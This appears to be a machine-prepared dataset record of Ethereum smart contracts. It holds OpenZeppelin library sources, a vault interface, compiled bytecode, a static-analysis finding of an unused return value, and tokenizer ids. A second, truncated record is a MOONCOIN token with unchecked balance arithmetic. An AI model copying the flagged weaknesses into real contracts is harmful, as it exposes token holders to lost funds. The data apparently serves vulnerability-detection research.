/** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: Unlicense pragma solidity 0.7.6; interface IVault { function deposit( uint256, uint256, address ) external returns (uint256); function withdraw( uint256, address, address ) external returns (uint256, uint256); function rebalance( int24 _baseLower, int24 _baseUpper, int24 _limitLower, int24 _limitUpper, address feeRecipient, int256 swapQuantity ) external; function getTotalAmounts() external view returns (uint256, uint256); event Deposit( address indexed sender, address indexed to, uint256 shares, uint256 amount0, uint256 amount1 ); event Withdraw( address indexed sender, address indexed to, uint256 shares, uint256 amount0, uint256 amount1 ); event Rebalance( int24 tick, uint256 totalAmount0, uint256 totalAmount1, uint256 feeAmount0, uint256 feeAmount1, uint256 totalSupply ); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106100725760003560e01c806375b4d78c1161005057806375b4d78c146100c25780638da5cb5b146100dc578063d3255c85146100e457610072565b80630b98f975146100775780631f9e32c21461009657806341d4a1ab146100ba575b600080fd5b6100946004803603602081101561008d57600080fd5b5035610118565b005b61009e61017c565b604080516001600160a01b039092168252519081900360200190f35b61009e61018b565b6100ca61019a565b60408051918252519081900360200190f35b61009e6101a0565b610094600480360360608110156100fa57600080fd5b508035906001600160a01b03602082013581169160400135166101af565b6001546001600160a01b03163314610177576040805162461bcd60e51b815260206004820152600a60248201527f6f6e6c79206f776e657200000000000000000000000000000000000000000000604482015290519081900360640190fd5b600255565b6000546001600160a01b031681565b6003546001600160a01b031681565b60025481565b6001546001600160a01b031681565b60408051632e88fb9760e01b81526001600160a01b03831660048201819052306024830152604482018690529151632e88fb979160648082019260009290919082900301818387803b15801561020457600080fd5b505af1158015610218573d6000803e3d6000fd5b50505050600061023260028561035f90919063ffffffff16565b6000805460408051632d182be560e21b8152600481018590526001600160a01b03888116602483015230604483015282519596509092169363b460af94936064808501948390030190829087803b15801561028c57600080fd5b505af11580156102a0573d6000803e3d6000fd5b505050506040513d60408110156102b657600080fd5b5050600054604080516318160ddd60e01b81529051610359928692610346926001600160a01b03909216916318160ddd91600480820192602092909190829003018186803b15801561030757600080fd5b505afa15801561031b573d6000803e3d6000fd5b505050506040513d602081101561033157600080fd5b505160025461034090896103c8565b9061035f565b6003546001600160a01b03169190610428565b50505050565b60008082116103b5576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b8183816103be57fe5b0490505b92915050565b6000826103d7575060006103c2565b828202828482816103e457fe5b04146104215760405162461bcd60e51b81526004018080602001828103825260218152602001806107886021913960400191505060405180910390fd5b9392505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b17905261048f908490610494565b505050565b60006104e9826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166105459092919063ffffffff16565b80519091501561048f5780806020019051602081101561050857600080fd5b505161048f5760405162461bcd60e51b815260040180806020018281038252602a8152602001806107a9602a913960400191505060405180910390fd5b6060610554848460008561055c565b949350505050565b60608247101561059d5760405162461bcd60e51b81526004018080602001828103825260268152602001806107626026913960400191505060405180910390fd5b6105a6856106b7565b6105f7576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b602083106106355780518252601f199092019160209182019101610616565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610697576040519150601f19603f3d011682016040523d82523d6000602084013e61069c565b606091505b50915091506106ac8282866106bd565b979650505050505050565b3b151590565b606083156106cc575081610421565b8251156106dc5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561072657818101518382015260200161070e565b50505050905090810190601f1680156107535780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a164736f6c6343000706000a
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2629, 7011, 15878, 2683, 2278, 2581, 4246, 16048, 2497, 12376, 2683, 2094, 19317, 2620, 2278, 11387, 2683, 2581, 2475, 2497, 2620, 2094, 2620, 27531, 2692, 2620, 2497, 2692, 2497, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3902, 2140, 1011, 1015, 1012, 1015, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,637
0x95763a3419de506a58f2b89ca7d01356fa69a8a6
pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract MOONCOINCONTRACT is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function MOONCOINCONTRACT( ) { balances[msg.sender] = 100000000; totalSupply = 100000000; name = "MOONCOIN"; decimals = 0; symbol = "MOON"; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in 